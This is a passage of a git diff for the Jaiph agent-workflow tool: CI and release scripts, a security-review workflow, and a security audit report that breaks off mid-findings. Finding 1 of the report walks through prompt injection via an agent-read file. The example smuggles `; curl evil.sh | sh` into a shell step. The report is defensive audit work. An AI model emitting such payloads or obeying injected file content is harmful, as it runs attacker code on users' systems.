]; then + log_args=(run view "$run_id" --log-failed) + fi + + if [ -n "$out_file" ]; then + gh_cmd "${log_args[@]}" >"$out_file" + printf '%s\n' "$out_file" + else + gh_cmd "${log_args[@]}" + fi +} + +default_ci_log_file() { + printf '%s\n' "${JAIPH_WORKSPACE:-.}/.jaiph/tmp/gh_actions.check_ci.log" +} + +emit_failed_ci_report() { + local conclusion="$1" + local url="$2" + local run_id="$3" + local log_file="$4" + local tail_lines="$GH_ACTIONS_LOG_TAIL" + + mkdir -p "$(dirname "$log_file")" + gh_cmd run view "$run_id" --log-failed >"$log_file" + + printf 'CI failed (%s): %s (run %s)\n' "$conclusion" "$url" "$run_id" + printf 'Full log: %s\n\n' "$log_file" + printf '%s\n' "--- last ${tail_lines} lines ---" + tail -n "$tail_lines" "$log_file" +} + +cmd_check_ci() { + local workflow="$GH_ACTIONS_WORKFLOW" + local branch="" + local commit="" + local log_file="" + local result conclusion url run_id + + if [ "$#" -gt 0 ] && [ "${1#-}" = "$1" ]; then + branch="${1:-}" + commit="${2:-}" + workflow="${3:-$GH_ACTIONS_WORKFLOW}" + log_file="${4:-}" + if [ -z "$log_file" ]; then + log_file="$(default_ci_log_file)" + fi + result="$(wait_for_ref "$workflow" "$branch" "$commit")" + IFS=$'\t' read -r conclusion url run_id <<<"$result" + if [ "$conclusion" = "success" ]; then + printf 'CI succeeded: %s (run %s)\n' "$url" "$run_id" + exit 0 + fi + emit_failed_ci_report "$conclusion" "$url" "$run_id" "$log_file" >&2 + exit 1 + fi + + while [ "$#" -gt 0 ]; do + case "$1" in + -b|--branch) branch="$2"; shift 2 ;; + -c|--commit) commit="$2"; shift 2 ;; + -w|--workflow) workflow="$2"; shift 2 ;; + -o|--out) log_file="$2"; shift 2 ;; + -R|--repo) GH_ACTIONS_REPO_ARGS=(-R "$2"); shift 2 ;; + -h|--help) usage; exit 0 ;; + *) die "unknown check-ci arg: $1" ;; + esac + done + + if [ -z "$log_file" ]; then + log_file="$(default_ci_log_file)" + fi + + result="$(wait_for_ref "$workflow" "$branch" "$commit")" + IFS=$'\t' read -r conclusion url run_id <<<"$result" + + if [ "$conclusion" = "success" ]; then + printf 'CI succeeded: %s (run %s)\n' "$url" "$run_id" + exit 0 + fi + + emit_failed_ci_report "$conclusion" "$url" "$run_id" "$log_file" >&2 + exit 1 +} + +cmd_require_token() { + require_gh_token +} + +main() { + require_tools + require_gh_token + mark_git_workspace_safe + local cmd="${1:-}" + if [ -z "$cmd" ] || [ "$cmd" = "-h" ] || [ "$cmd" = "--help" ]; then + usage + exit 0 + fi + shift + + case "$cmd" in + resolve-run) cmd_resolve_run "$@" ;; + wait-run) cmd_wait_run "$@" ;; + pull-logs) cmd_pull_logs "$@" ;; + check-ci) cmd_check_ci "$@" ;; + require-token) cmd_require_token "$@" ;; + *) die "unknown command: ${cmd}" ;; + esac +} + +main "$@" diff --git a/.jaiph/libs/jaiphlang/git.jh b/.jaiph/libs/jaiphlang/git.jh index ba94635a..e71e65e7 100755 --- a/.jaiph/libs/jaiphlang/git.jh +++ b/.jaiph/libs/jaiphlang/git.jh @@ -11,6 +11,20 @@ script git_mark_workspace_safe = `git config --global --add safe.directory "$(pw # format-patch emits real diff to stdout only with --stdout; otherwise git writes *.patch files and stdout is only the path. script git_create_patch_from_commit = `git config --global --add safe.directory "$(pwd)" && git format-patch -1 HEAD --stdout > $1` +# Push local HEAD to origin. This is a trusted, deterministic step so the push +# target is controlled by the caller, not by agent output. With an explicit +# branch ($1), force the remote ref (HEAD:refs/heads/) so the push +# cannot be retargeted by whatever branch happens to be checked out; with no +# branch, push HEAD to its tracking branch (matches `git push -u origin HEAD`). +script git_push_head = ``` + git config --global --add safe.directory "$(pwd)" + if [ -n "$1" ]; then + git push -u origin "HEAD:refs/heads/$1" + else + git push -u origin HEAD + fi +``` + rule in_git_repo() { run git_mark_workspace_safe() run git_inside_worktree() catch (err) { @@ -38,7 +52,7 @@ rule is_clean() { workflow commit(task) { config { # agent.backend = "cursor" - # agent.default_model = "composer-2" + # agent.model = "composer-2" # agent.cursor_flags = "--force" agent.backend = "claude" agent.claude_flags = "--permission-mode bypassPermissions" @@ -75,6 +89,11 @@ workflow commit(task) { return patch_file_name } +workflow push(branch) { + ensure in_git_repo() + run git_push_head(branch) +} + workflow default(task) { return run commit(task) } diff --git a/.jaiph/prepare_release.jh b/.jaiph/prepare_release.jh index a110429c..8bf83798 100755 --- a/.jaiph/prepare_release.jh +++ b/.jaiph/prepare_release.jh @@ -1,18 +1,18 @@ #!/usr/bin/env jaiph # -# Release-prep workflow. Single-sources the CLI version: bumps package.json, -# refreshes the installer's hardcoded ref, rebuilds the CLI, verifies that -# `jaiph --version` matches package.json, and regenerates docs/registry. +# Release-prep workflow. Single-sources the CLI version: reviews/stamps +# CHANGELOG.md (prompt step), bumps package.json, refreshes the installer's +# hardcoded ref, rebuilds the CLI, verifies that `jaiph --version` matches +# package.json, and regenerates docs/registry. # # Run as: -# jaiph run .jaiph/prepare_release.jh -- 0.9.5 # explicit version -# jaiph run .jaiph/prepare_release.jh # next patch version +# jaiph run .jaiph/prepare_release.jh -- 0.11.0 # explicit X.Y.Z +# jaiph run .jaiph/prepare_release.jh # next patch from package.json # # The workflow never creates a commit or git tag — it stages edits for the # operator to review, commit, tag, and push manually. # - script read_pkg_version = `node -p "require('./package.json').version"` script assert_version_format = ``` @@ -27,14 +27,14 @@ script assert_version_format = ``` ``` script compute_next_patch = ```python3 -import sys -v = sys.argv[1] -parts = v.split('.') -if len(parts) != 3 or not all(p.isdigit() for p in parts): - sys.stderr.write(f"invalid current version in package.json: {v}\n") - sys.exit(1) -parts[-1] = str(int(parts[-1]) + 1) -print('.'.join(parts)) + import sys + v = sys.argv[1] + parts = v.split('.') + if len(parts) != 3 or not all(p.isdigit() for p in parts): + sys.stderr.write(f"invalid current version in package.json: {v}\n") + sys.exit(1) + parts[-1] = str(int(parts[-1]) + 1) + print('.'.join(parts)) ``` script assert_git_tree_clean = ``` @@ -56,20 +56,22 @@ script assert_tag_does_not_exist = ``` script npm_version_no_tag = `npm version "$1" --no-git-tag-version --allow-same-version >/dev/null` script update_install_release_ref = ```python3 -import sys -old, new = sys.argv[1], sys.argv[2] -path = "docs/install" -with open(path, "r", encoding="utf-8") as f: - src = f.read() -needle = f"v{old}" -count = src.count(needle) -if count == 0: - sys.stderr.write(f"docs/install: hardcoded ref v{old} not found\n") - sys.exit(1) -new_src = src.replace(needle, f"v{new}") -with open(path, "w", encoding="utf-8") as f: - f.write(new_src) -print(count) + import sys + old, new = sys.argv[1], sys.argv[2] + needle = f"v{old}" + total = 0 + # Both installers pin the same hardcoded ref; keep them in lockstep. + for path in ("docs/install", "docs/install.ps1"): + with open(path, "r", encoding="utf-8") as f: + src = f.read() + count = src.count(needle) + if count == 0: + sys.stderr.write(f"{path}: hardcoded ref v{old} not found\n") + sys.exit(1) + with open(path, "w", encoding="utf-8") as f: + f.write(src.replace(needle, f"v{new}")) + total += count + print(total) ``` script run_npm_build = `npm run build >&2` @@ -84,7 +86,168 @@ script assert_built_cli_version_equals = ``` fi ``` -script run_registry_build = `npm run registry:build >&2` +script run_registry_build = `node scripts/build-registry.mjs >&2` + +script latest_release_tag = `git tag -l 'v*' | sort -V | tail -1` + +script commits_since_latest_tag = ``` + tag="$(git tag -l 'v*' | sort -V | tail -1)" + if [ -z "${tag}" ]; then + git log --oneline + else + git log "${tag}"..HEAD --oneline + fi +``` + +script read_changelog_unreleased = ```python3 + import re + import sys + + path = "CHANGELOG.md" + with open(path, encoding="utf-8") as f: + lines = f.readlines() + + out = [] + in_unreleased = False + for line in lines: + if re.match(r"^# Unreleased\s*$", line): + in_unreleased = True + out.append(line) + continue + if in_unreleased and re.match(r"^# \d+\.\d+\.\d+\s*$", line): + break + if in_unreleased: + out.append(line) + + sys.stdout.write("".join(out)) +``` + +script read_changelog_version_section = ```python3 + import re + import sys + + version = sys.argv[1] + path = "CHANGELOG.md" + header = f"# {version}\n" + with open(path, encoding="utf-8") as f: + lines = f.readlines() + + out = [] + in_section = False + for line in lines: + if line == header: + in_section = True + out.append(line) + continue + if in_section and re.match(r"^# \d+\.\d+\.\d+\s*$", line): + break + if in_section and re.match(r"^# Unreleased\s*$", line): + break + if in_section: + out.append(line) + + sys.stdout.write("".join(out)) +``` + +script assert_changelog_stamped = ``` + v="$1" + grep -Eq '^# Unreleased$' CHANGELOG.md || { + echo "CHANGELOG.md: missing # Unreleased header at top" >&2 + exit 1 + } + grep -Eq "^# ${v}$" CHANGELOG.md || { + echo "CHANGELOG.md: missing stamped # ${v} section" >&2 + exit 1 + } +``` + +const changelog_reviewer_role = """ + You are a release engineer preparing Jaiph for publication. You edit + CHANGELOG.md in the repo root — the operator runs prepare_release next + for package.json, installers, and docs/registry. + + Changelog shape (match existing style exactly): + # Unreleased + ## Summary + - **Feature name:** one-line user-facing blurb … + ## All changes + - **Kind — Title:** long technical bullet … + + # X.Y.Z + ## Summary + … + ## All changes + … + + Summary bullets: 5–10 max, end-user facing, bold lead token. + All changes: exhaustive, grouped by Feat/Fix/Change/Breaking, one bullet + per commit-worthy change. Do not drop existing detail when merging. +""" + +workflow review_changelog(version) { + config { + agent.backend = "claude" + agent.model = "opus" + agent.claude_flags = "--permission-mode bypassPermissions" + } + const latest_tag = run latest_release_tag() + const commit_list = run commits_since_latest_tag() + const unreleased_block = run read_changelog_unreleased() + const existing_section = run read_changelog_version_section(version) + + prompt """ + ${changelog_reviewer_role} + + ${version} + ${latest_tag} + + + ${commit_list} + + + + ${unreleased_block} + + + + ${existing_section} + + (Empty existing_version_section means no prior # ${version} block yet.) + + + 1. Read CHANGELOG.md in full for surrounding context and voice. + 2. Compare commits_since_latest_tag against the unreleased All changes + bullets. List any commit themes missing from the changelog (in your + head — do not add a separate report file). + 3. Stamp the release for v${version}: + - If an existing_version_section is present (package was bumped early), + merge current_unreleased_section into that # ${version} block — + combine Summary bullets (dedupe), append All changes (dedupe by + title), keep chronological/newest-first within All changes. + - Otherwise rename # Unreleased to # ${version} in place. + 4. Fix stale All-changes wording superseded by later work, especially: + - overlay / copy / fuse / JAIPH_DOCKER_NO_OVERLAY → snapshot | inplace + - MCP "in-place by default" → same sandbox truth table as jaiph run + (snapshot default; inplace only with JAIPH_INPLACE) + - Docker Ctrl+C / signal cleanup: snapshot and inplace modes only + 5. Ensure Summary covers the headline themes: sandbox snapshot + git-defined + content, trusted_envs, language sugar (else if, match |), logging, + security hardening, and anything from the merged 0.11.0 tranche (MCP, + Windows, --env, agent.model) when that section is being folded in. + 6. Replace the top of CHANGELOG.md with a fresh empty scaffold: + # Unreleased + + ## Summary + + ## All changes + + 7. Write the updated CHANGELOG.md (UTF-8). Do not edit other files. + + """ + + run assert_changelog_stamped(version) + log "CHANGELOG.md stamped for v${version}" +} workflow resolve_version(arg) { const pkg_version = run read_pkg_version() @@ -117,6 +280,7 @@ workflow default(arg) { log "Preparing release v${version} (current: v${old_version})" run preflight(version) + run review_changelog(version) run apply_version_change(old_version, version) run check_displayed_version(version) run run_registry_build() @@ -124,16 +288,18 @@ workflow default(arg) { log """ prepare_release: staged release v${version} - package.json + package-lock.json (npm version ${version}) - - docs/install (release ref v${old_version} -> v${version}) + - docs/install + docs/install.ps1 (release ref v${old_version} -> v${version}) - docs/registry (regenerated) - dist/ (rebuilt; jaiph --version == jaiph ${version}) Remaining manual steps: - 1. Review the diff (git diff) + 1. Review the diff (git diff) — especially CHANGELOG.md 2. Commit the staged changes - 3. Tag: git tag v${version} - 4. Push branch + tag (tag push triggers docker-publish and release.yml) - 5. Smoke check: jaiph use ${version} + 3. Confirm MINISIGN_SECRET_KEY is set in GitHub Actions secrets + (see docs/contributing.md → Release signing). + 4. Tag: git tag v${version} + 5. Push branch + tag (tag push triggers docker-publish and release.yml) + 6. Smoke check: jaiph use ${version} """ return version } diff --git a/.jaiph/qa.jh b/.jaiph/qa.jh index af08b4a7..409d1510 100755 --- a/.jaiph/qa.jh +++ b/.jaiph/qa.jh @@ -145,6 +145,10 @@ const analyze_gaps_prompt = """ """ workflow analyze_gaps() { + config { + agent.model = "opus" + } + const report_path = run new_qa_gap_report_path() const contributing_docs = run read_contributing_docs() const txtar_format = run read_txtar_format_spec() diff --git a/.jaiph/security_review.jh b/.jaiph/security_review.jh old mode 100644 new mode 100755 index 1d403389..e97f8ee4 --- a/.jaiph/security_review.jh +++ b/.jaiph/security_review.jh @@ -1,56 +1,71 @@ #!/usr/bin/env jaiph # -# Security review of code changes. Reviews uncommitted changes by default, -# or a git diff range passed as the first argument: -# jaiph run .jaiph/security_review.jh # staged + unstaged + untracked +# Security review of the codebase (or a targeted diff). +# +# jaiph run .jaiph/security_review.jh # whole codebase +# jaiph run .jaiph/security_review.jh codebase # same as default +# jaiph run .jaiph/security_review.jh diff # staged + unstaged + untracked # jaiph run .jaiph/security_review.jh "main..HEAD" # a ref range -# Writes a markdown report to .jaiph/tmp and publishes it as a run artifact. -# Fails when any HIGH severity finding is confirmed. # -# Review methodology adapted from anthropics/claude-code-security-review -# (claudecode/prompts.py): high-confidence findings only, explicit -# false-positive exclusions, severity + confidence scoring. +# Writes a Diátaxis-style markdown report to +# .jaiph/tmp/security_review_.md +# (name "security_review" is in the filename) and publishes it as a run +# artifact. Fails when any HIGH severity finding is confirmed. +# +# Review methodology: OWASP Agentic Security Initiative (ASI) Top 10 via +# .jaiph/skills/agent-owasp-compliance/SKILL.md +# Report writing follows .jaiph/kills/documentation-writer/SKILL.md. # import "./lib_common.jh" as common import "jaiphlang/artifacts" as artifacts +import "jaiphlang/git" as git config { agent.backend = "claude" + agent.model = "opus" agent.claude_flags = "--permission-mode bypassPermissions" } -const report_file = .jaiph/tmp/security_review_report.md +script new_security_review_report_path = `echo ".jaiph/tmp/security_review_$(date +%Y-%m-%d_%H-%M-%S).md"` + +script write_security_review_pointer = `printf '%s\n' "$1" > .jaiph/tmp/security_review_active.txt` const reviewer_role = """ - You are a senior security engineer conducting a focused security review. - Identify HIGH-CONFIDENCE security vulnerabilities with real exploitation - potential. Minimize false positives: flag only issues where you are more - than 80% confident of actual exploitability in this codebase. - - Vulnerability classes to examine: - 1. Input validation: SQL/command/template/NoSQL injection, XXE, - path traversal. - 2. Authentication & authorization: bypass logic, privilege escalation, - session flaws, JWT issues, insecure direct object references. - 3. Crypto & secrets: hardcoded credentials, weak algorithms, improper key - storage, certificate validation bypasses, insecure randomness. - 4. Code execution: unsafe deserialization, eval/exec on untrusted input, - unsafe YAML/pickle loading, XSS (reflected, stored, DOM-based). - 5. Data exposure: secrets or PII in logs, debug info leaks, overly - revealing error messages, sensitive data written to artifacts. + You are a senior security engineer reviewing Jaiph — a workflow DSL, + TypeScript CLI/runtime, Docker sandbox, and agent-backend runner that + executes tools and scripts on behalf of users. + + Methodology: follow OWASP Agentic Security Initiative (ASI) Top 10 as + defined in .jaiph/skills/agent-owasp-compliance/SKILL.md. Map every + finding to an ASI id (ASI-01 … ASI-10). Prefer agentic/control-plane + risks over web-app checklists: there is no SQL database or browser XSS + surface here — do not hunt for those. + + Jaiph attack surface to prioritize: + - Prompt / agent backends (injection into tool/shell execution) + - Script and shell step execution (command injection, unsafe spawn) + - Docker sandbox (mount allowlist, env allowlist, caps, isolation escape) + - Secrets and credentials in env, logs, artifacts, run summaries + - Privilege / --unsafe / permission-mode bypass paths + - Supply chain of binaries, installers, skills, and libraries + - Auditability of runs (events, artifacts, tamper resistance) Severity scale: - - HIGH: directly exploitable; leads to RCE, data breach, or auth bypass. + - HIGH: directly exploitable; leads to RCE, sandbox escape, secret + exfiltration, or auth/policy bypass. - MEDIUM: exploitable under specific conditions, significant impact. - LOW: defense-in-depth gaps or low-impact weaknesses. - Do NOT report (out of scope, treated as noise): + Confidence: flag only issues where you are more than 80% confident of + actual exploitability in this codebase (discard below 0.7). + + Do NOT report (out of scope / noise): + - SQL/NoSQL injection, XSS, CSRF, JWT session flaws, XXE — irrelevant + unless you can show Jaiph actually exposes that surface. - Denial of service, rate limiting, memory/CPU exhaustion. - - Missing input validation on non-security-critical fields without a - demonstrated security impact. - - Any finding you cannot back with a concrete exploit scenario. - Style, performance, or general code-quality issues. + - Findings without a concrete exploit scenario. """ script git_diff_uncommitted = ``` @@ -68,23 +83,47 @@ script git_diff_range = `git diff "$1"` script worktree_fingerprint = `git status --porcelain | sort | cksum` -workflow review_diff(diff_text) { +script report_file_nonempty = `test -s "$1"` + +workflow review_scope(mode, scope_detail, report_file) { const result = prompt """ + First read and follow the OWASP ASI compliance skill at + .jaiph/skills/agent-owasp-compliance/SKILL.md — use its ASI-01..ASI-10 + checklist, quick assessment questions, and compliance matrix as the + review framework. + + Then, for report writing only, follow + .jaiph/skills/documentation-writer/SKILL.md (clarity, accuracy, + user-centricity, consistency). Treat the report as a Diátaxis + **Explanation**: understanding-oriented, for engineers deciding what + to fix next. + ${reviewer_role} - Review the following code changes for security vulnerabilities. You have - read access to the full repository — read surrounding source files - whenever needed to confirm whether a finding is actually exploitable; - do not judge from the diff alone. - - Write a full markdown report to ${report_file} (overwrite if present) - with one section per finding: title, severity (HIGH/MEDIUM/LOW), - confidence (0.7-1.0; discard anything below 0.7), file and line, - a concrete exploit scenario, and a specific remediation. If there are - no findings, write a short report stating what was reviewed and that - nothing was found. + Scope mode: ${mode} + ${scope_detail} + + Write a full markdown report to ${report_file} (overwrite if present). + The report MUST start with YAML front matter that includes: + name: security_review + title: Security review + diataxis: explanation + date: + scope: + framework: OWASP ASI Top 10 + + Then a clear H1 and structured body: + - Executive summary (verdict, finding counts, ASI coverage X/10) + - ASI compliance matrix (ASI-01..ASI-10: PASS/FAIL/PARTIAL + one-line note) + - Scope and method + - Findings (one section each: ASI id, title, severity HIGH/MEDIUM/LOW, + confidence 0.7–1.0, file and line, concrete exploit scenario, + specific remediation). Discard confidence below 0.7. + - Critical gaps / recommendations + - If no HIGH/MEDIUM findings: still fill the ASI matrix; state what + was reviewed and residual LOW/PARTIAL gaps if any Do not modify any file in the repository other than ${report_file}. @@ -92,33 +131,50 @@ workflow review_diff(diff_text) { - verdict: the string "fail" if there is at least one HIGH finding, otherwise the string "pass". - highs, mediums, lows: finding counts by severity. + - asi_covered: number of ASI controls marked PASS (0-10). - summary: 1-3 sentences describing the overall result. - - Code changes under review: - ${diff_text} + - report_path: the exact path you wrote (${report_file}). """ - returns "{ verdict: string, highs: number, mediums: number, lows: number, summary: string }" + returns "{ verdict: string, highs: number, mediums: number, lows: number, asi_covered: number, summary: string, report_path: string }" log "Security review: ${result.summary}" - log "Findings: high=${result.highs} medium=${result.mediums} low=${result.lows} (report: ${report_file})" + log "Findings: high=${result.highs} medium=${result.mediums} low=${result.lows} ASI=${result.asi_covered}/10 (report: ${result.report_path})" return result.verdict } -workflow default(scope) { - run common.mkdir_p_simple(".jaiph/tmp") - const fingerprint_before = run worktree_fingerprint() +workflow review_codebase(report_file) { + const scope_detail = """ + Review the ENTIRE repository against OWASP ASI Top 10. Explore agent + backends, prompt paths, script/shell execution, Docker sandbox, + env/secrets handling, artifacts/run logs, installers, and skills. + Do not limit yourself to a diff — this is a full codebase scan. + """ + return run review_scope("codebase", scope_detail, report_file) +} - const diff_text = match scope { - "" => run git_diff_uncommitted() - _ => run git_diff_range(scope) - } +workflow review_diff_text(mode, scope_label, diff_text, report_file) { if diff_text == "" { - log "Security review: no changes to review." - return "" + log "Security review: no changes to review (${scope_label})." + return "skip" } + const scope_detail = """ + Review the following code changes (${scope_label}) against OWASP ASI + Top 10. You have read access to the full repository — read surrounding + source whenever needed to confirm exploitability; do not judge from + the diff alone. + + Code changes under review: + ${diff_text} + """ + return run review_scope(mode, scope_detail, report_file) +} - const verdict = run review_diff(diff_text) +workflow finish_review(verdict, report_file, fingerprint_before) { + if verdict == "skip" { + log "Security review skipped (nothing in scope)." + return "" + } # The reviewer must be read-only apart from the (gitignored) report file. const fingerprint_after = run worktree_fingerprint() @@ -126,6 +182,9 @@ workflow default(scope) { fail "Security review must not modify the worktree, but git status changed during review. Inspect git status before trusting this run." } + run report_file_nonempty(report_file) catch (err) { + fail "Security review did not write a report at ${report_file}." + } run artifacts.save(report_file) run common.str_equals(verdict, "pass") catch (err) { @@ -134,5 +193,34 @@ workflow default(scope) { See ${report_file} (also published to the run artifacts directory). """ } - log "Security review passed." + log "Security review passed. Report: ${report_file}" +} + +workflow dispatch_review(mode, scope, report_file) { + if mode == "codebase" { + return run review_codebase(report_file) + } else if mode == "diff" { + const uncommitted = run git_diff_uncommitted() + return run review_diff_text("diff", "uncommitted changes", uncommitted, report_file) + } else { + const ranged = run git_diff_range(scope) + return run review_diff_text("range", scope, ranged, report_file) + } +} + +workflow default(scope) { + ensure git.in_git_repo() + run common.mkdir_p_simple(".jaiph/tmp") + const report_file = run new_security_review_report_path() + run write_security_review_pointer(report_file) + const fingerprint_before = run worktree_fingerprint() + + const mode = match scope { + "" | "codebase" | "full" => "codebase" + "diff" => "diff" + _ => "range" + } + + const verdict = run dispatch_review(mode, scope, report_file) + run finish_review(verdict, report_file, fingerprint_before) } diff --git a/.jaiph/security_review_2026-07-20.md b/.jaiph/security_review_2026-07-20.md new file mode 100644 index 00000000..8b77b8d2 --- /dev/null +++ b/.jaiph/security_review_2026-07-20.md @@ -0,0 +1,297 @@ +--- +name: security_review +title: Security review +diataxis: explanation +date: 2026-07-20 +scope: Full Jaiph repository — workflow DSL runtime, TypeScript CLI, Docker sandbox, agent backends (cursor/claude/codex), script & shell step execution, env/secret handling, run artifacts, installers, and skills +framework: OWASP ASI Top 10 +--- + +# Jaiph Security Review — OWASP ASI Top 10 + +## Executive summary + +Jaiph is a workflow-DSL runtime that drives LLM agents and executes scripts and +shell on a user's behalf, isolated by a Docker sandbox. Reviewed as an *agentic +control plane*, the design is unusually disciplined in the places that matter +most for deterministic policy: the env-forwarding **allowlist** and mount +**denylist** are pure code with no LLM in the enforcement path (ASI-08), and the +runtime ships real circuit breakers — layered prompt watchdogs, an absolute +duration cap, recursion-depth and inbox-dispatch limits, and a +force-remove-by-name container kill switch (ASI-10). + +The residual risk is concentrated where **untrusted model output meets +execution**. The DSL is shell-first: any workflow line that is not a keyword +becomes a shell step, and `sh` steps run through `sh -c` on a string that may +embed values captured from a prompt. Scripts, by contrast, are spawned by argv +(no shell parsing of arguments) — a genuine strength that keeps this from being +worse. The security boundary between "model said it" and "machine ran it" is +therefore the Docker sandbox itself, not any input validation. That boundary is +solid in the default configuration but is *deliberately* removed by `--unsafe` +(host-only) and weakened by `--inplace` / the MCP default (host workspace +bind-mounted read-write). + +No directly exploitable HIGH issue was found: the sandbox contains +prompt-injection-to-shell in the default posture, and the capability grants that +weaken the sandbox all require a kernel-level bug to turn into escape. The +findings below are the conditions under which the boundary thins, plus +defense-in-depth gaps in auditability and supply chain. + +**Verdict: PASS** (no HIGH findings). + +| Severity | Count | +|----------|-------| +| HIGH | 0 | +| MEDIUM | 2 | +| LOW | 5 | + +**ASI coverage: 2 / 10 PASS** (2 PASS, 8 PARTIAL, 0 FAIL). The low PASS count +reflects a strict reading of the ASI checklist (which expects e.g. hash-chained +audit logs and cryptographic agent identity); most controls are *partially* +present and contained by the sandbox rather than absent. + +## ASI compliance matrix + +| Risk | Status | Note | +|------|--------|------| +| ASI-01 Prompt Injection | PARTIAL | No validation gate between prompt output and tool/shell execution; sandbox is the only mitigation. | +| ASI-02 Insecure Tool Use | PARTIAL | Scripts spawn by argv (safe); `sh -c` on interpolated strings is raw shell by design. | +| ASI-03 Excessive Agency | PARTIAL | Single fixed workspace mount, no user mounts; but `--unsafe`/`--inplace`/MCP-default remove or thin the isolation. | +| ASI-04 Unauthorized Escalation | PARTIAL | Config overrides gated by deterministic `*_LOCKED` flags; but imported-module metadata can change the executed agent command without attestation. | +| ASI-05 Trust Boundary | PARTIAL | Single-process, single-trust-domain; inter-workflow `send`/inbox sender identity is a plain string, no verification. | +| ASI-06 Insufficient Logging | PARTIAL | Structured `run_summary.jsonl` with ids/timestamps/status (replayable), but written into agent-writable `.jaiph/runs`, not hash-chained, no secret redaction. | +| ASI-07 Insecure Identity | PARTIAL | No cryptographic agent identity; backends authenticate to providers via API keys/OAuth only. Largely N/A for a local single-user CLI. | +| ASI-08 Policy Bypass | PASS | Env allowlist + mount denylist + `*_LOCKED` gates are deterministic code, fail-closed, no LLM in the enforcement path. | +| ASI-09 Supply Chain | PARTIAL | Installer verifies SHA-256, but from the same origin (TOFU, no signature); Docker image pulls toolchains via unpinned `curl \| sh`. | +| ASI-10 Behavioral Anomaly | PASS | Prompt watchdogs (grace/idle/max), recursion + inbox-dispatch caps, timeout + force-remove container kill switch. | + +## Scope and method + +The entire repository was scanned, not a diff. Emphasis followed the task's +agentic attack surface: + +- **Agent backends & prompt path** — `src/runtime/kernel/prompt.ts`, + `node-workflow-runtime.ts` (`runPromptStep`, interpolation). +- **Script & shell execution** — `executeScript`, `executeInlineScript`, + `executeShLine`, `spawnAndCapture` in `node-workflow-runtime.ts`. +- **Docker sandbox** — `src/runtime/docker.ts`, `runtime/overlay-run.sh`, + `runtime/Dockerfile`, sandbox-mode selection and cap/mount/env policy. +- **Secrets & env** — `ENV_ALLOW_PREFIXES`, `isEnvAllowed`, `remapDockerEnv`, + `preflight-credentials.ts`. +- **Privilege / bypass** — `--unsafe`, `--inplace`, `JAIPH_INPLACE`, + `applyMetadataScope` and the `*_LOCKED` gates. +- **Supply chain** — `docs/install`, `docs/install.ps1`, `Dockerfile`. +- **Auditability** — `run_summary.jsonl`, run artifacts, event emitter. +- **MCP exposure** — `src/cli/mcp/tools.ts`, sandbox mode for tool calls. + +Only issues estimated above 0.8 confidence of real exploitability in *this* +codebase are reported; web-app categories (SQLi/XSS/CSRF/JWT) were excluded as +out of scope per the brief. The report itself is the only file written. + +## Findings + +### 1. Prompt/model output flows into `sh -c` with no validation gate + +- **ASI:** ASI-01 (Prompt Injection) / ASI-02 (Insecure Tool Use) +- **Severity:** MEDIUM +- **Confidence:** 0.85 +- **Where:** `src/runtime/kernel/node-workflow-runtime.ts:1642` (`executeShLine` → + `sh -c command`), fed by `interpolateWithCaptures` at + `src/runtime/kernel/node-workflow-runtime.ts:1048-1057`; shell fallthrough is + the DSL's default for any non-keyword line (see `docs/architecture.md`). + +**Exploit scenario.** A workflow captures a prompt result and uses it in a shell +step: + +``` +const target = prompt "Read scan.txt and return the hostname to probe" +sh "nmap ${target}" +``` + +`scan.txt` is attacker-influenced content the agent reads. A prompt-injection +payload makes the model return `example.com; curl evil.sh | sh`. Because +`executeShLine` runs `sh -c "nmap example.com; curl evil.sh | sh"`, the injected +suffix executes. There is no validation, quoting, or allowlist between the model +output and the shell — `${target}` is spliced into the command string verbatim. +In the default posture this runs inside the Docker sandbox (the intended blast +radius). Under `--unsafe` it runs on the host; under `--inplace` / MCP it can +modify the real project tree (e.g. write a `.git/hooks/pre-commit`). + +**Why it is MEDIUM, not HIGH.** The sandbox is the designed containment and it +holds in the default configuration, and the pattern requires the author to embed +a capture in a shell line. It is not a clean RCE-out-of-the-box. + +**Remediation.** Document this data-flow hazard prominently for workflow authors; +prefer passing captured values as script *arguments* (already safe via argv in +`executeScript`) rather than interpolating into `sh` strings. Consider a +lint/validator warning when a `${var}` known to originate from a `prompt` +capture appears inside a shell step, and offer a shell-quoting helper +(`${var|quote}`) so the safe path is the easy path. + +### 2. MCP tool calls default to `inplace` — real workspace bind-mounted read-write + +- **ASI:** ASI-03 (Excessive Agency) +- **Severity:** MEDIUM +- **Confidence:** 0.8 +- **Where:** `src/runtime/docker.ts:405-411` (`selectMcpSandboxMode` returns + `inplace` when nothing is set) and `src/runtime/docker.ts:783-786` + (`inplace` binds the host workspace `:rw`). + +**Exploit scenario.** When Jaiph runs as an MCP server, every exposed workflow +(`src/cli/mcp/tools.ts`) executes with the *host* workspace mounted read-write by +default — isolation is inverted relative to `jaiph run`. A calling agent (or a +prompt-injected sub-agent) invoking a workflow that writes files, combined with +Finding 1, can modify any file in the real project: source, CI config, git +hooks, `package.json` scripts. The Docker machine boundary still stands, but the +*workspace* boundary is gone by default, so tool effects are persistent and can +seed later host-side execution (a poisoned build script or git hook run outside +the sandbox). + +**Remediation.** Make the MCP default explicit and visible in the server startup +banner ("writes land live on "), and consider defaulting MCP to `copy` +isolation with `inplace` as an opt-in, matching `jaiph run`. At minimum, require +an env/flag acknowledgement before serving a workspace in live-write mode. + +### 3. Overlay sandbox grants SYS_ADMIN and disables AppArmor + +- **ASI:** ASI-03 (Excessive Agency) / ASI-05 (Trust Boundary) +- **Severity:** LOW +- **Confidence:** 0.75 +- **Where:** `src/runtime/docker.ts:729` (`--cap-add SYS_ADMIN`, plus SETUID/ + SETGID/CHOWN/DAC_READ_SEARCH) and `src/runtime/docker.ts:746` + (`--security-opt apparmor=unconfined` on Linux). Overlay setup runs as + `--user 0:0` (`docker.ts:768`). + +**Exploit scenario.** To mount `fuse-overlayfs`, overlay mode starts the +container as root with `SYS_ADMIN` and AppArmor unconfined. The overlay script +then drops to the host UID via `setpriv` (`runtime/overlay-run.sh:29`) and +`--security-opt no-new-privileges` is set, so the workflow process itself is +unprivileged. But a kernel/FUSE vulnerability reachable from the container, or a +window before the UID drop, has a materially larger attack surface than a +minimal container would. This is defense-in-depth, not a direct exploit — hence +LOW. + +**Remediation.** Prefer the `copy` sandbox path (no SYS_ADMIN, no fuse) as the +default where feasible; it already provides the same isolation guarantee per the +in-code comments. Where overlay is required, scope AppArmor with a tailored +profile instead of `unconfined`, and document the elevated posture. + +### 4. Audit trail lives in an agent-writable directory, unchained and unredacted + +- **ASI:** ASI-06 (Insufficient Logging) +- **Severity:** LOW +- **Confidence:** 0.8 +- **Where:** run dir + `run_summary.jsonl` 